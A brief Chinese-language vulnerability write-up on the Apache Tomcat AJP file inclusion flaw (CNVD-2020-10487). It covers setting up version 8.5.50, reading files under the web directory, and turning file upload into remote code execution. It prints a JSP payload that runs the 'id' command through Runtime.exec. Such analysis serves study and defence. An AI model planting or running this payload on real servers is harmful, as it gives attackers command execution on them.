环境搭建
下载存在漏洞版本8.5.50:
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.50/bin/apache-tomcat-8.5.50.zip
查看默认conf/server.xml
文件中开启了这个Connector。
启动一下。
调试
在IDEA中配合源码的8.5.50分支调试:
git clone https://github.com/apache/tomcat
git checkout 8.5.50 -b b8.5.50
第一种方式,实现web目录下的文件读取,
通过
org/apache/catalina/servlets/DefaultServlet.java
实现web目录下的文件读取
- 结合文件上传实现RCE
通过org/apache/jasper/servlet/JspServlet
,把文件当做jsp来解析。
可控文件的内容包含以下内容,格式不限制(可以是图片)
<%
java.io.DataInputStream dis = new java.io.DataInputStream(Runtime.getRuntime().exec("id").getInputStream());
String disr = dis.readLine();
while ( disr != null ) {out.println(disr); disr = dis.readLine(); }
%>
还是有一定限制的哈。不过至少对
之前我们测文件上传,一看虽然路径可控,内容也可控,但是不被加载,也不算漏洞。结合这个漏洞之后就危害大了。
RCE 需要可控web应用目录下的文件(图片也可以 只要包含payload)。所以本质上来说只是可以加载web目录下的任意文件然后进行解析。
参考
- CNVD-2020-10487: Apache Tomcat文件包含漏洞通告
- Apache Tomcat服务器存在文件包含漏洞
- Tomcat-Ajp协议漏洞分析
- AJP协议总结与分析 很深入的协议分析!
- 使用 AJP 方式配置反向代理 通过这篇文章终于通过AJP协议搭好了apache给tomcat反向代理!
- PoC 实现了AJP协议客户端(带解析响应功能)通过这个PoC生成了正确的payload